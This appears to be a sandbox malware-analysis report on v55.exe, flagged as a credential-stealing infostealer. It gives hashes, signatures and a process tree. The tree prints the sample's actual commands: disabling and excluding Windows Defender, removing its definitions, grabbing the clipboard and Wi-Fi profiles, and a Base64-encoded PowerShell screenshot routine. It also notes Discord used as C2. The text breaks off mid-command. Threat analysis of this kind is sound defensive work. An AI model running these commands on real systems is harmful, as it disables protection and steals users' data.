Analysis
-
max time kernel
28s -
max time network
36s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
29/05/2024, 14:20
Static task
static1
Behavioral task
behavioral1
Sample
v55.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
v55.exe
Resource
win10v2004-20240426-en
Errors
General
-
Target
v55.exe
-
Size
12.3MB
-
MD5
3db8c1ee14aa746c099481bdb31d36c5
-
SHA1
ae94f11a184b2e55f1612f9b9901378fcd65e505
-
SHA256
c932c8185582e062ff5c2bee4ac8fe390539325d0a432c91dba5a617cc8e9ebc
-
SHA512
28de48ae12776662a0e458754cf3be00d9b31528ae66af30ea187959ee068cbe62693d9fa7c23309fdc15487d1e25801e05f37b561a0038f61988ab22a20fdcc
-
SSDEEP
393216:ByKRk9incp/qc8zCInj0WkJbMUWWlQ845bzS:BpR/nc8c8zCYYJwDb
Malware Config
Signatures
-
pid Process 2404 powershell.exe 4924 powershell.exe 4316 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts Built.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation v55.exe -
Executes dropped EXE 4 IoCs
pid Process 1004 Built.exe 1936 Built.exe 3848 v5.exe 2440 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe 1936 Built.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral2/files/0x0007000000023483-40.dat upx behavioral2/memory/1936-45-0x00007FFA8F2E0000-0x00007FFA8F8D2000-memory.dmp upx behavioral2/files/0x0007000000023481-51.dat upx behavioral2/memory/1936-69-0x00007FFAA5490000-0x00007FFAA549F000-memory.dmp upx behavioral2/memory/1936-68-0x00007FFAA23B0000-0x00007FFAA23D4000-memory.dmp upx behavioral2/files/0x000700000002347d-67.dat upx behavioral2/files/0x000700000002347c-66.dat upx behavioral2/files/0x000700000002347b-65.dat upx behavioral2/files/0x000700000002347a-64.dat upx behavioral2/files/0x0007000000023479-63.dat upx behavioral2/files/0x0007000000023478-62.dat upx behavioral2/files/0x0007000000023477-61.dat upx behavioral2/files/0x0007000000023475-60.dat upx behavioral2/files/0x0007000000023488-59.dat upx behavioral2/files/0x0007000000023487-58.dat upx behavioral2/files/0x0007000000023486-57.dat upx behavioral2/files/0x0007000000023482-54.dat upx behavioral2/files/0x0007000000023480-53.dat upx behavioral2/files/0x0007000000023476-49.dat upx behavioral2/memory/1936-76-0x00007FFA9E6F0000-0x00007FFA9E71D000-memory.dmp upx behavioral2/memory/1936-82-0x00007FFA8F8F0000-0x00007FFA8FA6E000-memory.dmp upx behavioral2/memory/1936-81-0x00007FFA9E6C0000-0x00007FFA9E6E3000-memory.dmp upx behavioral2/memory/1936-80-0x00007FFAA2510000-0x00007FFAA2529000-memory.dmp upx behavioral2/memory/1936-86-0x00007FFA9EA30000-0x00007FFA9EA3D000-memory.dmp upx behavioral2/memory/1936-85-0x00007FFA9E6A0000-0x00007FFA9E6B9000-memory.dmp upx behavioral2/memory/1936-88-0x00007FFA9E660000-0x00007FFA9E693000-memory.dmp upx behavioral2/memory/1936-92-0x00007FFA8EDE0000-0x00007FFA8EEAD000-memory.dmp upx behavioral2/memory/1936-93-0x00007FFA8E460000-0x00007FFA8E989000-memory.dmp upx behavioral2/memory/1936-99-0x00007FFA9E630000-0x00007FFA9E63D000-memory.dmp upx behavioral2/memory/1936-101-0x00007FFA8ECC0000-0x00007FFA8EDDC000-memory.dmp upx behavioral2/memory/1936-98-0x00007FFA9E640000-0x00007FFA9E654000-memory.dmp upx behavioral2/memory/1936-97-0x00007FFA8F2E0000-0x00007FFA8F8D2000-memory.dmp upx behavioral2/memory/1936-220-0x00007FFAA23B0000-0x00007FFAA23D4000-memory.dmp upx behavioral2/memory/1936-321-0x00007FFA9E660000-0x00007FFA9E693000-memory.dmp upx behavioral2/memory/1936-317-0x00007FFA9E6C0000-0x00007FFA9E6E3000-memory.dmp upx behavioral2/memory/1936-322-0x00007FFA8EDE0000-0x00007FFA8EEAD000-memory.dmp upx behavioral2/memory/1936-320-0x00007FFA9EA30000-0x00007FFA9EA3D000-memory.dmp upx behavioral2/memory/1936-319-0x00007FFA9E6A0000-0x00007FFA9E6B9000-memory.dmp upx behavioral2/memory/1936-318-0x00007FFA8F8F0000-0x00007FFA8FA6E000-memory.dmp upx behavioral2/memory/1936-312-0x00007FFA8F2E0000-0x00007FFA8F8D2000-memory.dmp upx behavioral2/memory/1936-323-0x00007FFA8E460000-0x00007FFA8E989000-memory.dmp upx behavioral2/memory/1936-313-0x00007FFAA23B0000-0x00007FFAA23D4000-memory.dmp upx behavioral2/memory/1936-381-0x00007FFA8EDE0000-0x00007FFA8EEAD000-memory.dmp upx behavioral2/memory/1936-394-0x00007FFA8F2E0000-0x00007FFA8F8D2000-memory.dmp upx behavioral2/memory/1936-395-0x00007FFA9E660000-0x00007FFA9E693000-memory.dmp upx behavioral2/memory/1936-393-0x00007FFA9E6A0000-0x00007FFA9E6B9000-memory.dmp upx behavioral2/memory/1936-392-0x00007FFA8F8F0000-0x00007FFA8FA6E000-memory.dmp upx behavioral2/memory/1936-391-0x00007FFA9E6C0000-0x00007FFA9E6E3000-memory.dmp upx behavioral2/memory/1936-390-0x00007FFAA2510000-0x00007FFAA2529000-memory.dmp upx behavioral2/memory/1936-389-0x00007FFA9E6F0000-0x00007FFA9E71D000-memory.dmp upx behavioral2/memory/1936-388-0x00007FFAA5490000-0x00007FFAA549F000-memory.dmp upx behavioral2/memory/1936-387-0x00007FFAA23B0000-0x00007FFAA23D4000-memory.dmp upx behavioral2/memory/1936-386-0x00007FFA9EA30000-0x00007FFA9EA3D000-memory.dmp upx behavioral2/memory/1936-385-0x00007FFA8ECC0000-0x00007FFA8EDDC000-memory.dmp upx behavioral2/memory/1936-384-0x00007FFA9E630000-0x00007FFA9E63D000-memory.dmp upx behavioral2/memory/1936-383-0x00007FFA9E640000-0x00007FFA9E654000-memory.dmp upx behavioral2/memory/1936-382-0x00007FFA8E460000-0x00007FFA8E989000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 32 discord.com 33 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ip-api.com 30 ip-api.com -
Detects Pyinstaller 1 IoCs
resource yara_rule behavioral2/files/0x0007000000023472-27.dat pyinstaller -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe -
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4476 WMIC.exe 3584 WMIC.exe 4920 WMIC.exe -
Enumerates processes with tasklist 1 TTPs 5 IoCs
pid Process 3236 tasklist.exe 4324 tasklist.exe 1976 tasklist.exe 4844 tasklist.exe 4984 tasklist.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3996 systeminfo.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings firefox.exe -
Suspicious behavior: EnumeratesProcesses 38 IoCs
pid Process 1420 powershell.exe 4924 powershell.exe 1420 powershell.exe 4924 powershell.exe 4316 powershell.exe 4316 powershell.exe 4316 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 2404 powershell.exe 2404 powershell.exe 2404 powershell.exe 1944 powershell.exe 1944 powershell.exe 1944 powershell.exe 4076 powershell.exe 4076 powershell.exe 4076 powershell.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 1956 powershell.exe 1956 powershell.exe 1956 powershell.exe 4520 taskmgr.exe 2748 powershell.exe 2748 powershell.exe 2748 powershell.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1420 powershell.exe Token: SeDebugPrivilege 3236 tasklist.exe Token: SeDebugPrivilege 4924 powershell.exe Token: SeIncreaseQuotaPrivilege 4832 WMIC.exe Token: SeSecurityPrivilege 4832 WMIC.exe Token: SeTakeOwnershipPrivilege 4832 WMIC.exe Token: SeLoadDriverPrivilege 4832 WMIC.exe Token: SeSystemProfilePrivilege 4832 WMIC.exe Token: SeSystemtimePrivilege 4832 WMIC.exe Token: SeProfSingleProcessPrivilege 4832 WMIC.exe Token: SeIncBasePriorityPrivilege 4832 WMIC.exe Token: SeCreatePagefilePrivilege 4832 WMIC.exe Token: SeBackupPrivilege 4832 WMIC.exe Token: SeRestorePrivilege 4832 WMIC.exe Token: SeShutdownPrivilege 4832 WMIC.exe Token: SeDebugPrivilege 4832 WMIC.exe Token: SeSystemEnvironmentPrivilege 4832 WMIC.exe Token: SeRemoteShutdownPrivilege 4832 WMIC.exe Token: SeUndockPrivilege 4832 WMIC.exe Token: SeManageVolumePrivilege 4832 WMIC.exe Token: 33 4832 WMIC.exe Token: 34 4832 WMIC.exe Token: 35 4832 WMIC.exe Token: 36 4832 WMIC.exe Token: SeIncreaseQuotaPrivilege 4832 WMIC.exe Token: SeSecurityPrivilege 4832 WMIC.exe Token: SeTakeOwnershipPrivilege 4832 WMIC.exe Token: SeLoadDriverPrivilege 4832 WMIC.exe Token: SeSystemProfilePrivilege 4832 WMIC.exe Token: SeSystemtimePrivilege 4832 WMIC.exe Token: SeProfSingleProcessPrivilege 4832 WMIC.exe Token: SeIncBasePriorityPrivilege 4832 WMIC.exe Token: SeCreatePagefilePrivilege 4832 WMIC.exe Token: SeBackupPrivilege 4832 WMIC.exe Token: SeRestorePrivilege 4832 WMIC.exe Token: SeShutdownPrivilege 4832 WMIC.exe Token: SeDebugPrivilege 4832 WMIC.exe Token: SeSystemEnvironmentPrivilege 4832 WMIC.exe Token: SeRemoteShutdownPrivilege 4832 WMIC.exe Token: SeUndockPrivilege 4832 WMIC.exe Token: SeManageVolumePrivilege 4832 WMIC.exe Token: 33 4832 WMIC.exe Token: 34 4832 WMIC.exe Token: 35 4832 WMIC.exe Token: 36 4832 WMIC.exe Token: SeIncreaseQuotaPrivilege 4476 WMIC.exe Token: SeSecurityPrivilege 4476 WMIC.exe Token: SeTakeOwnershipPrivilege 4476 WMIC.exe Token: SeLoadDriverPrivilege 4476 WMIC.exe Token: SeSystemProfilePrivilege 4476 WMIC.exe Token: SeSystemtimePrivilege 4476 WMIC.exe Token: SeProfSingleProcessPrivilege 4476 WMIC.exe Token: SeIncBasePriorityPrivilege 4476 WMIC.exe Token: SeCreatePagefilePrivilege 4476 WMIC.exe Token: SeBackupPrivilege 4476 WMIC.exe Token: SeRestorePrivilege 4476 WMIC.exe Token: SeShutdownPrivilege 4476 WMIC.exe Token: SeDebugPrivilege 4476 WMIC.exe Token: SeSystemEnvironmentPrivilege 4476 WMIC.exe Token: SeRemoteShutdownPrivilege 4476 WMIC.exe Token: SeUndockPrivilege 4476 WMIC.exe Token: SeManageVolumePrivilege 4476 WMIC.exe Token: 33 4476 WMIC.exe Token: 34 4476 WMIC.exe -
Suspicious use of FindShellTrayWindow 42 IoCs
pid Process 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 5028 firefox.exe 5028 firefox.exe 5028 firefox.exe 5028 firefox.exe -
Suspicious use of SendNotifyMessage 41 IoCs
pid Process 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 4520 taskmgr.exe 5028 firefox.exe 5028 firefox.exe 5028 firefox.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5028 firefox.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3208 wrote to memory of 1004 3208 v55.exe 82 PID 3208 wrote to memory of 1004 3208 v55.exe 82 PID 1004 wrote to memory of 1936 1004 Built.exe 85 PID 1004 wrote to memory of 1936 1004 Built.exe 85 PID 3208 wrote to memory of 3848 3208 v55.exe 84 PID 3208 wrote to memory of 3848 3208 v55.exe 84 PID 1936 wrote to memory of 5020 1936 Built.exe 89 PID 1936 wrote to memory of 5020 1936 Built.exe 89 PID 1936 wrote to memory of 1056 1936 Built.exe 90 PID 1936 wrote to memory of 1056 1936 Built.exe 90 PID 1936 wrote to memory of 3668 1936 Built.exe 92 PID 1936 wrote to memory of 3668 1936 Built.exe 92 PID 1936 wrote to memory of 2312 1936 Built.exe 95 PID 1936 wrote to memory of 2312 1936 Built.exe 95 PID 1056 wrote to memory of 1420 1056 cmd.exe 96 PID 1056 wrote to memory of 1420 1056 cmd.exe 96 PID 5020 wrote to memory of 4924 5020 cmd.exe 98 PID 5020 wrote to memory of 4924 5020 cmd.exe 98 PID 3668 wrote to memory of 3236 3668 cmd.exe 99 PID 3668 wrote to memory of 3236 3668 cmd.exe 99 PID 2312 wrote to memory of 4832 2312 cmd.exe 100 PID 2312 wrote to memory of 4832 2312 cmd.exe 100 PID 1936 wrote to memory of 3500 1936 Built.exe 143 PID 1936 wrote to memory of 3500 1936 Built.exe 143 PID 3500 wrote to memory of 3880 3500 cmd.exe 106 PID 3500 wrote to memory of 3880 3500 cmd.exe 106 PID 1936 wrote to memory of 2412 1936 Built.exe 107 PID 1936 wrote to memory of 2412 1936 Built.exe 107 PID 2412 wrote to memory of 3268 2412 cmd.exe 109 PID 2412 wrote to memory of 3268 2412 cmd.exe 109 PID 1936 wrote to memory of 4576 1936 Built.exe 110 PID 1936 wrote to memory of 4576 1936 Built.exe 110 PID 4576 wrote to memory of 4476 4576 cmd.exe 112 PID 4576 wrote to memory of 4476 4576 cmd.exe 112 PID 1936 wrote to memory of 5008 1936 Built.exe 113 PID 1936 wrote to memory of 5008 1936 Built.exe 113 PID 5008 wrote to memory of 3584 5008 cmd.exe 115 PID 5008 wrote to memory of 3584 5008 cmd.exe 115 PID 1936 wrote to memory of 2300 1936 Built.exe 116 PID 1936 wrote to memory of 2300 1936 Built.exe 116 PID 2300 wrote to memory of 4316 2300 cmd.exe 118 PID 2300 wrote to memory of 4316 2300 cmd.exe 118 PID 1936 wrote to memory of 1696 1936 Built.exe 119 PID 1936 wrote to memory of 1696 1936 Built.exe 119 PID 1936 wrote to memory of 644 1936 Built.exe 120 PID 1936 wrote to memory of 644 1936 Built.exe 120 PID 1696 wrote to memory of 4324 1696 cmd.exe 123 PID 1696 wrote to memory of 4324 1696 cmd.exe 123 PID 644 wrote to memory of 1976 644 cmd.exe 124 PID 644 wrote to memory of 1976 644 cmd.exe 124 PID 1936 wrote to memory of 5084 1936 Built.exe 125 PID 1936 wrote to memory of 5084 1936 Built.exe 125 PID 1936 wrote to memory of 1516 1936 Built.exe 126 PID 1936 wrote to memory of 1516 1936 Built.exe 126 PID 5084 wrote to memory of 2748 5084 cmd.exe 214 PID 5084 wrote to memory of 2748 5084 cmd.exe 214 PID 1936 wrote to memory of 4916 1936 Built.exe 131 PID 1936 wrote to memory of 4916 1936 Built.exe 131 PID 1936 wrote to memory of 4664 1936 Built.exe 132 PID 1936 wrote to memory of 4664 1936 Built.exe 132 PID 1516 wrote to memory of 1140 1516 cmd.exe 130 PID 1516 wrote to memory of 1140 1516 cmd.exe 130 PID 1936 wrote to memory of 436 1936 Built.exe 133 PID 1936 wrote to memory of 436 1936 Built.exe 133 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1240 attrib.exe 4428 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\v55.exe"C:\Users\Admin\AppData\Local\Temp\v55.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Users\Admin\AppData\Local\Temp\Built.exe"C:\Users\Admin\AppData\Local\Temp\Built.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Users\Admin\AppData\Local\Temp\Built.exe"C:\Users\Admin\AppData\Local\Temp\Built.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"4⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4924
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"4⤵
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1420
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3236
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"4⤵
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4832
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"4⤵
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 25⤵PID:3880
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"4⤵
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 25⤵PID:3268
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:4476
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
PID:3584
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"4⤵
- Suspicious use of WriteProcessMemory
PID:2300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4316
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
PID:4324
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
PID:1976
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"4⤵
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName5⤵PID:2748
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"4⤵
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard5⤵
- Suspicious behavior: EnumeratesProcesses
PID:1140
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵PID:4916
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
PID:4844
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵PID:4664
-
C:\Windows\system32\tree.comtree /A /F5⤵PID:3500
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"4⤵PID:436
-
C:\Windows\system32\netsh.exenetsh wlan show profile5⤵PID:3484
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"4⤵PID:348
-
C:\Windows\system32\systeminfo.exesysteminfo5⤵
- Gathers system information
PID:3996
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"4⤵PID:1144
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath5⤵PID:4064
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQB